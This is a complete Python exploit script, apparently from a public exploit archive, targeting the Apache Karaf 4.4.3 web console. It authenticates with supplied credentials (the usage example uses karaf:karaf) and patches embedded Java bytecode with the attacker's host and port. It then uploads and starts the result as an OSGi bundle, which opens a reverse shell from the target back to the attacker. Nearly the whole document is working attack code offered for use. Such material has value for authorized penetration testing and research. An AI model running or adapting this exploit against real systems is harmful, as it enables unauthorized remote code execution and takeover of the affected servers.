Karaf v4.4.3 Console - RCE

#!/usr/bin/python

# Exploit Title: [Karaf v4.4.3 Console RCE]
# Date: [2023-08-07]
# Exploit Author: [Andrzej Olchawa, Milenko Starcik,
#                  VisionSpace Technologies GmbH]
# Exploit Repository:
#           [https://github.com/visionspacetec/offsec-karaf-exploits.git]
# Vendor Homepage: [https://karaf.apache.org]
# Software Link: [https://karaf.apache.org/download.html]
# Version: [4.4.3]
# Tested on: [Linux kali 6.3.0-kali1-amd64]
# License: [MIT]
#
# Usage:
# python exploit.py --help
#
# Example:
# python exploit.py --rhost=192.168.0.133 --rport=1337 \
#                   --lhost=192.168.0.100 --lport=4444 \
#                   --creds=karaf:karaf


"""
This tool will let you open a reverse shell from the system
that is running Karaf Console",
"""
import argparse
import base64
import io
import re
import zipfile
import requests

# Content of the MANIFEST.MF file.
MANIFEST_CONTENT = \
    "Bundle-Name: RevShell\n" \
    "Bundle-Description: Bundle openning a reverse shell connection.\n" \
    "Bundle-SymbolicName: com.visionspace.osgi.revshell.Activator\n" \
    "Bundle-Vendor: VisionSpace\n" \
    "Bundle-Version: 1.0.0\n" \
    "Import-Package: org.osgi.framework\n" \
    "Bundle-Activator: com.visionspace.osgi.revshell.Activator"

# Activator.class bytecode template.
ACTIVATOR_CLASS_BYTECODE_TEMPLATE = \
    b"\xca\xfe\xba\xbe\x00\x00\x00\x37\x00\x7b" \
    b"\x0a\x00\x22\x00\x33\x08\x00\x34\x07\x00" \
    b"\x35\x07\x00\x36\x0a\x00\x03\x00\x37\x0a" \
    b"\x00\x03\x00\x38\x0a\x00\x03\x00\x39\x07" \
    b"\x00\x3a\x08\x00\x3b\x08\x00\x3c\x0a\x00" \
    b"\x3d\x00\x3e\x0a\x00\x08\x00\x3f\x0a\x00" \
    b"\x2c\x00\x40\x0a\x00\x2c\x00\x41\x0a\x00" \
    b"\x08\x00\x40\x0a\x00\x2c\x00\x42\x0a\x00" \
    b"\x08\x00\x42\x0a\x00\x08\x00\x43\x0a\x00" \
    b"\x2d\x00\x44\x0a\x00\x2d\x00\x45\x0a\x00" \
    b"\x2e\x00\x46\x0a\x00\x2e\x00\x47\x05\x00" \
    b"\x00\x00\x00\x00\x00\x00\x32\x0a\x00\x48" \
    b"\x00\x49\x0a\x00\x2c\x00\x4a\x07\x00\x4b" \
    b"\x0a\x00\x2c\x00\x4c\x0a\x00\x08\x00\x4d" \
    b"\x09\x00\x4e\x00\x4f\x08\x00\x50\x0a\x00" \
    b"\x51\x00\x52\x07\x00\x53\x07\x00\x54\x07" \
    b"\x00\x55\x01\x00\x06\x3c\x69\x6e\x69\x74" \
    b"\x3e\x01\x00\x03\x28\x29\x56\x01\x00\x04" \
    b"\x43\x6f\x64\x65\x01\x00\x0f\x4c\x69\x6e" \
    b"\x65\x4e\x75\x6d\x62\x65\x72\x54\x61\x62" \
    b"\x6c\x65\x01\x00\x05\x73\x74\x61\x72\x74" \
    b"\x01\x00\x25\x28\x4c\x6f\x72\x67\x2f\x6f" \
    b"\x73\x67\x69\x2f\x66\x72\x61\x6d\x65\x77" \
    b"\x6f\x72\x6b\x2f\x42\x75\x6e\x64\x6c\x65" \
    b"\x43\x6f\x6e\x74\x65\x78\x74\x3b\x29\x56" \
    b"\x01\x00\x0d\x53\x74\x61\x63\x6b\x4d\x61" \
    b"\x70\x54\x61\x62\x6c\x65\x07\x00\x56\x07" \
    b"\x00\x57\x07\x00\x58\x07\x00\x59\x01\x00" \
    b"\x0a\x45\x78\x63\x65\x70\x74\x69\x6f\x6e" \
    b"\x73\x01\x00\x04\x73\x74\x6f\x70\x01\x00" \
    b"\x0a\x53\x6f\x75\x72\x63\x65\x46\x69\x6c" \
    b"\x65\x01\x00\x0e\x41\x63\x74\x69\x76\x61" \
    b"\x74\x6f\x72\x2e\x6a\x61\x76\x61\x0c\x00" \
    b"\x24\x00\x25\x01\x00\x02\x73\x68\x01\x00" \
    b"\x18\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67" \
    b"\x2f\x50\x72\x6f\x63\x65\x73\x73\x42\x75" \
    b"\x69\x6c\x64\x65\x72\x01\x00\x10\x6a\x61" \
    b"\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74" \
    b"\x72\x69\x6e\x67\x0c\x00\x24\x00\x5a\x0c" \
    b"\x00\x5b\x00\x5c\x0c\x00\x28\x00\x5d\x01" \
    b"\x00\x0f\x6a\x61\x76\x61\x2f\x6e\x65\x74" \
    b"\x2f\x53\x6f\x63\x6b\x65\x74\x01\x00\x07" \
    b"\x3c\x4c\x48\x4f\x53\x54\x3e\x01\x00\x07" \
    b"\x3c\x4c\x50\x4f\x52\x54\x3e\x07\x00\x5e" \
    b"\x0c\x00\x5f\x00\x60\x0c\x00\x24\x00\x61" \
    b"\x0c\x00\x62\x00\x63\x0c\x00\x64\x00\x63" \
    b"\x0c\x00\x65\x00\x66\x0c\x00\x67\x00\x68" \
    b"\x0c\x00\x69\x00\x6a\x0c\x00\x6b\x00\x6a" \
    b"\x0c\x00\x6c\x00\x6d\x0c\x00\x6e\x00\x25" \
    b"\x07\x00\x6f\x0c\x00\x70\x00\x71\x0c\x00" \
    b"\x72\x00\x6a\x01\x00\x13\x6a\x61\x76\x61" \
    b"\x2f\x6c\x61\x6e\x67\x2f\x45\x78\x63\x65" \
    b"\x70\x74\x69\x6f\x6e\x0c\x00\x73\x00\x25" \
    b"\x0c\x00\x74\x00\x25\x07\x00\x75\x0c\x00" \
    b"\x76\x00\x77\x01\x00\x1d\x54\x68\x61\x6e" \
    b"\x6b\x20\x79\x6f\x75\x20\x66\x6f\x72\x20" \
    b"\x70\x77\x6e\x69\x6e\x67\x20\x77\x69\x74" \
    b"\x68\x20\x75\x73\x21\x07\x00\x78\x0c\x00" \
    b"\x79\x00\x7a\x01\x00\x27\x63\x6f\x6d\x2f" \
    b"\x76\x69\x73\x69\x6f\x6e\x73\x70\x61\x63" \
    b"\x65\x2f\x6f\x73\x67\x69\x2f\x72\x65\x76" \
    b"\x73\x68\x65\x6c\x6c\x2f\x41\x63\x74\x69" \
    b"\x76\x61\x74\x6f\x72\x01\x00\x10\x6a\x61" \
    b"\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x4f\x62" \
    b"\x6a\x65\x63\x74\x01\x00\x22\x6f\x72\x67" \
    b"\x2f\x6f\x73\x67\x69\x2f\x66\x72\x61\x6d" \
    b"\x65\x77\x6f\x72\x6b\x2f\x42\x75\x6e\x64" \
    b"\x6c\x65\x41\x63\x74\x69\x76\x61\x74\x6f" \
    b"\x72\x01\x00\x20\x6f\x72\x67\x2f\x6f\x73" \
    b"\x67\x69\x2f\x66\x72\x61\x6d\x65\x77\x6f" \
    b"\x72\x6b\x2f\x42\x75\x6e\x64\x6c\x65\x43" \
    b"\x6f\x6e\x74\x65\x78\x74\x01\x00\x11\x6a" \
    b"\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x50" \
    b"\x72\x6f\x63\x65\x73\x73\x01\x00\x13\x6a" \
    b"\x61\x76\x61\x2f\x69\x6f\x2f\x49\x6e\x70" \
    b"\x75\x74\x53\x74\x72\x65\x61\x6d\x01\x00" \
    b"\x14\x6a\x61\x76\x61\x2f\x69\x6f\x2f\x4f" \
    b"\x75\x74\x70\x75\x74\x53\x74\x72\x65\x61" \
    b"\x6d\x01\x00\x16\x28\x5b\x4c\x6a\x61\x76" \
    b"\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72" \
    b"\x69\x6e\x67\x3b\x29\x56\x01\x00\x13\x72" \
    b"\x65\x64\x69\x72\x65\x63\x74\x45\x72\x72" \
    b"\x6f\x72\x53\x74\x72\x65\x61\x6d\x01\x00" \
    b"\x1d\x28\x5a\x29\x4c\x6a\x61\x76\x61\x2f" \
    b"\x6c\x61\x6e\x67\x2f\x50\x72\x6f\x63\x65" \
    b"\x73\x73\x42\x75\x69\x6c\x64\x65\x72\x3b" \
    b"\x01\x00\x15\x28\x29\x4c\x6a\x61\x76\x61" \
    b"\x2f\x6c\x61\x6e\x67\x2f\x50\x72\x6f\x63" \
    b"\x65\x73\x73\x3b\x01\x00\x11\x6a\x61\x76" \
    b"\x61\x2f\x6c\x61\x6e\x67\x2f\x49\x6e\x74" \
    b"\x65\x67\x65\x72\x01\x00\x08\x70\x61\x72" \
    b"\x73\x65\x49\x6e\x74\x01\x00\x15\x28\x4c" \
    b"\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f" \
    b"\x53\x74\x72\x69\x6e\x67\x3b\x29\x49\x01" \
    b"\x00\x16\x28\x4c\x6a\x61\x76\x61\x2f\x6c" \
    b"\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67" \
    b"\x3b\x49\x29\x56\x01\x00\x0e\x67\x65\x74" \
    b"\x49\x6e\x70\x75\x74\x53\x74\x72\x65\x61" \
    b"\x6d\x01\x00\x17\x28\x29\x4c\x6a\x61\x76" \
    b"\x61\x2f\x69\x6f\x2f\x49\x6e\x70\x75\x74" \
    b"\x53\x74\x72\x65\x61\x6d\x3b\x01\x00\x0e" \
    b"\x67\x65\x74\x45\x72\x72\x6f\x72\x53\x74" \
    b"\x72\x65\x61\x6d\x01\x00\x0f\x67\x65\x74" \
    b"\x4f\x75\x74\x70\x75\x74\x53\x74\x72\x65" \
    b"\x61\x6d\x01\x00\x18\x28\x29\x4c\x6a\x61" \
    b"\x76\x61\x2f\x69\x6f\x2f\x4f\x75\x74\x70" \
    b"\x75\x74\x53\x74\x72\x65\x61\x6d\x3b\x01" \
    b"\x00\x08\x69\x73\x43\x6c\x6f\x73\x65\x64" \
    b"\x01\x00\x03\x28\x29\x5a\x01\x00\x09\x61" \
    b"\x76\x61\x69\x6c\x61\x62\x6c\x65\x01\x00" \
    b"\x03\x28\x29\x49\x01\x00\x04\x72\x65\x61" \
    b"\x64\x01\x00\x05\x77\x72\x69\x74\x65\x01" \
    b"\x00\x04\x28\x49\x29\x56\x01\x00\x05\x66" \
    b"\x6c\x75\x73\x68\x01\x00\x10\x6a\x61\x76" \
    b"\x61\x2f\x6c\x61\x6e\x67\x2f\x54\x68\x72" \
    b"\x65\x61\x64\x01\x00\x05\x73\x6c\x65\x65" \
    b"\x70\x01\x00\x04\x28\x4a\x29\x56\x01\x00" \
    b"\x09\x65\x78\x69\x74\x56\x61\x6c\x75\x65" \
    b"\x01\x00\x07\x64\x65\x73\x74\x72\x6f\x79" \
    b"\x01\x00\x05\x63\x6c\x6f\x73\x65\x01\x00" \
    b"\x10\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67" \
    b"\x2f\x53\x79\x73\x74\x65\x6d\x01\x00\x03" \
    b"\x6f\x75\x74\x01\x00\x15\x4c\x6a\x61\x76" \
    b"\x61\x2f\x69\x6f\x2f\x50\x72\x69\x6e\x74" \
    b"\x53\x74\x72\x65\x61\x6d\x3b\x01\x00\x13" \
    b"\x6a\x61\x76\x61\x2f\x69\x6f\x2f\x50\x72" \
    b"\x69\x6e\x74\x53\x74\x72\x65\x61\x6d\x01" \
    b"\x00\x07\x70\x72\x69\x6e\x74\x6c\x6e\x01" \
    b"\x00\x15\x28\x4c\x6a\x61\x76\x61\x2f\x6c" \
    b"\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67" \
    b"\x3b\x29\x56\x00\x21\x00\x21\x00\x22\x00" \
    b"\x01\x00\x23\x00\x00\x00\x03\x00\x01\x00" \
    b"\x24\x00\x25\x00\x01\x00\x26\x00\x00\x00" \
    b"\x1d\x00\x01\x00\x01\x00\x00\x00\x05\x2a" \
    b"\xb7\x00\x01\xb1\x00\x00\x00\x01\x00\x27" \
    b"\x00\x00\x00\x06\x00\x01\x00\x00\x00\x0a" \
    b"\x00\x01\x00\x28\x00\x29\x00\x02\x00\x26" \
    b"\x00\x00\x01\x6e\x00\x06\x00\x0b\x00\x00" \
    b"\x00\xb8\x12\x02\x4d\xbb\x00\x03\x59\x04" \
    b"\xbd\x00\x04\x59\x03\x2c\x53\xb7\x00\x05" \
    b"\x04\xb6\x00\x06\xb6\x00\x07\x4e\xbb\x00" \
    b"\x08\x59\x12\x09\x12\x0a\xb8\x00\x0b\xb7" \
    b"\x00\x0c\x3a\x04\x2d\xb6\x00\x0d\x3a\x05" \
    b"\x2d\xb6\x00\x0e\x3a\x06\x19\x04\xb6\x00" \
    b"\x0f\x3a\x07\x2d\xb6\x00\x10\x3a\x08\x19" \
    b"\x04\xb6\x00\x11\x3a\x09\x19\x04\xb6\x00" \
    b"\x12\x9a\x00\x5f\x19\x05\xb6\x00\x13\x9e" \
    b"\x00\x10\x19\x09\x19\x05\xb6\x00\x14\xb6" \
    b"\x00\x15\xa7\xff\xee\x19\x06\xb6\x00\x13" \
    b"\x9e\x00\x10\x19\x09\x19\x06\xb6\x00\x14" \
    b"\xb6\x00\x15\xa7\xff\xee\x19\x07\xb6\x00" \
    b"\x13\x9e\x00\x10\x19\x08\x19\x07\xb6\x00" \
    b"\x14\xb6\x00\x15\xa7\xff\xee\x19\x09\xb6" \
    b"\x00\x16\x19\x08\xb6\x00\x16\x14\x00\x17" \
    b"\xb8\x00\x19\x2d\xb6\x00\x1a\x57\xa7\x00" \
    b"\x08\x3a\x0a\xa7\xff\x9f\x2d\xb6\x00\x1c" \
    b"\x19\x04\xb6\x00\x1d\xb1\x00\x01\x00\xa1" \
    b"\x00\xa6\x00\xa9\x00\x1b\x00\x02\x00\x27" \
    b"\x00\x00\x00\x66\x00\x19\x00\x00\x00\x0c" \
    b"\x00\x03\x00\x0e\x00\x1a\x00\x0f\x00\x2a" \
    b"\x00\x10\x00\x30\x00\x11\x00\x36\x00\x12" \
    b"\x00\x3d\x00\x13\x00\x43\x00\x14\x00\x4a" \
    b"\x00\x15\x00\x52\x00\x16\x00\x5a\x00\x17" \
    b"\x00\x67\x00\x18\x00\x6f\x00\x19\x00\x7c" \
    b"\x00\x1a\x00\x84\x00\x1b\x00\x91\x00\x1c" \
    b"\x00\x96\x00\x1d\x00\x9b\x00\x1e\x00\xa1" \
    b"\x00\x20\x00\xa6\x00\x21\x00\xa9\x00\x22" \
    b"\x00\xab\x00\x23\x00\xae\x00\x25\x00\xb2" \
    b"\x00\x26\x00\xb7\x00\x27\x00\x2a\x00\x00" \
    b"\x00\x30\x00\x07\xff\x00\x4a\x00\x0a\x07" \
    b"\x00\x21\x07\x00\x2b\x07\x00\x04\x07\x00" \
    b"\x2c\x07\x00\x08\x07\x00\x2d\x07\x00\x2d" \
    b"\x07\x00\x2d\x07\x00\x2e\x07\x00\x2e\x00" \
    b"\x00\x07\x14\x14\x14\x57\x07\x00\x1b\x04" \
    b"\x00\x2f\x00\x00\x00\x04\x00\x01\x00\x1b" \
    b"\x00\x01\x00\x30\x00\x29\x00\x02\x00\x26" \
    b"\x00\x00\x00\x25\x00\x02\x00\x02\x00\x00" \
    b"\x00\x09\xb2\x00\x1e\x12\x1f\xb6\x00\x20" \
    b"\xb1\x00\x00\x00\x01\x00\x27\x00\x00\x00" \
    b"\x0a\x00\x02\x00\x00\x00\x2a\x00\x08\x00" \
    b"\x2b\x00\x2f\x00\x00\x00\x04\x00\x01\x00" \
    b"\x1b\x00\x01\x00\x31\x00\x00\x00\x02\x00" \
    b"\x32"

# Items to be replaces within the bytecode of Activator.class
# <LEN><LHOST> = <\x07><\x3c\x4c\x48\x4f\x53\x54\x3e>
ACTIVATOR_CLASS_LHOST_TAG = b"\x07\x3c\x4c\x48\x4f\x53\x54\x3e"
# <LEN><LPORT> = <\x07><\x3c\x4c\x50\x4f\x52\x54\x3e>
ACTIVATOR_CLASS_LPORT_TAG = b"\x07\x3c\x4c\x50\x4f\x52\x54\x3e"


def parse():
    """
    This function parses the command-line arguments.
    """

    parser = argparse.ArgumentParser(
        prog="Karaf-Console-RCE",
        description="This tool will let you open a reverse shell from the "
                    "system that is running Karaf Console",
        epilog="Happy Hacking! :)",
    )

    parser.add_argument("--rhost", dest="rhost",
                        help="remote host", type=str, required=True)
    parser.add_argument("--rport", dest="rport",
                        help="remote port", type=int, required=True)
    parser.add_argument("--lhost", dest="lhost",
                        help="local host", type=str, required=True)
    parser.add_argument("--lport", dest="lport",
                        help="local port", type=int, required=True)
    parser.add_argument("--creds", dest="creds",
                        help="credentials in format <username:password>",
                        type=str, required=True)
    parser.add_argument("--version", action="version",
                        version="%(prog)s 0.1.0")

    return parser.parse_args()


def extract_jsessionid(cookie):
    """
    This function extracts the JSESSIONID from the cookie string.
    """

    jsessionid = None

    regex = re.findall("JSESSIONID=([^;]+)", cookie)
    if len(regex) > 0:
        jsessionid = regex[0]

    return jsessionid


def authenticate(target, basic_auth):
    """
    This function connects to the URL and retrieves the JSESSIONID
    based on the Basic Authorization.
    """

    jsessionid = None

    headers = {
        "Authorization": basic_auth
    }

    response = requests.get(target, headers=headers,
                            allow_redirects=False, timeout=10)

    if (response.status_code == 302 and response.headers["Set-Cookie"]):
        jsessionid = extract_jsessionid(response.headers["Set-Cookie"])

    return jsessionid


def generate_payload(lhost, lport):
    """
    This function generates the payload.
    It replaces the template payload with the `lhost` and `lport` arguments.
    """

    payload = None

    lhost_byte_array = bytearray()
    lhost_byte_array.append(len(lhost))
    lhost_byte_array.extend(map(ord, lhost))

    activator_class_bytecodes = ACTIVATOR_CLASS_BYTECODE_TEMPLATE.replace(
        ACTIVATOR_CLASS_LHOST_TAG, lhost_byte_array)

    lport_str = str(lport)
    lport_byte_array = bytearray()
    lport_byte_array.append(len(lport_str))
    lport_byte_array.extend(map(ord, lport_str))

    activator_class_bytecodes = activator_class_bytecodes.replace(
        ACTIVATOR_CLASS_LPORT_TAG, lport_byte_array)

    jar_bytes = io.BytesIO()

    with zipfile.ZipFile(jar_bytes, "w", zipfile.ZIP_DEFLATED) as zip_file:
        zip_file.writestr("com/visionspace/osgi/revshell/Activator.class",
                          activator_class_bytecodes)
        zip_file.writestr("META-INF/MANIFEST.MF", MANIFEST_CONTENT)

    payload = jar_bytes.getvalue()

    return payload


def deploy_payload(target, basic_auth, jsessionid, payload):
    """
    This function connects to the Karaf Console and deployes the payload.
    """

    success = False

    url = f"{target}/bundles"

    cookies = {
        "JSESSIONID": jsessionid
    }

    headers = {
        "Authorization": basic_auth
    }

    files = {
        "bundlefile": (
            "revshell.jar", payload, "application/x-java-archive")
    }

    data = {
        "action": "install",
        "bundlestart": "start",
        "bundlestartlevel": 80
    }

    response = requests.post(url, headers=headers, cookies=cookies,
                             files=files, data=data, timeout=10,
                             allow_redirects=False)

    if response.status_code == 302:
        success = True

    return success


def generate_basic_auth(creds):
    """
    This function generates the Basic Authorization string based
    on the credentials.
    """

    creds_base64 = base64.b64encode(creds.encode()).decode()
    basic_auth = f"Basic {creds_base64}"

    return basic_auth


def create_target_url(rhost, rport):
    """
    This function creates a target URL.
    """

    target_url = f"http://{rhost}:{rport}/system/console"

    return target_url


def main(args):
    """
    Main function.
    """

    target = create_target_url(args.rhost, args.rport)

    print("[*] Login...")
    basic_auth = generate_basic_auth(args.creds)
    jsessionid = authenticate(target, basic_auth)

    if jsessionid:
        print("[+] Session established.")

        print("[*] Generating payload...")
        payload = generate_payload(args.lhost, args.lport)

        if payload:
            print("[*] Deploying payload...")
            if deploy_payload(target, basic_auth, jsessionid, payload):
                print("[+] Done.")
            else:
                print("[-] Failed to deploy the payload!")
        else:
            print("[-] Failed to generate the payload!")
    else:
        print("[-] Login failed!")


if __name__ == "__main__":
    main(parse())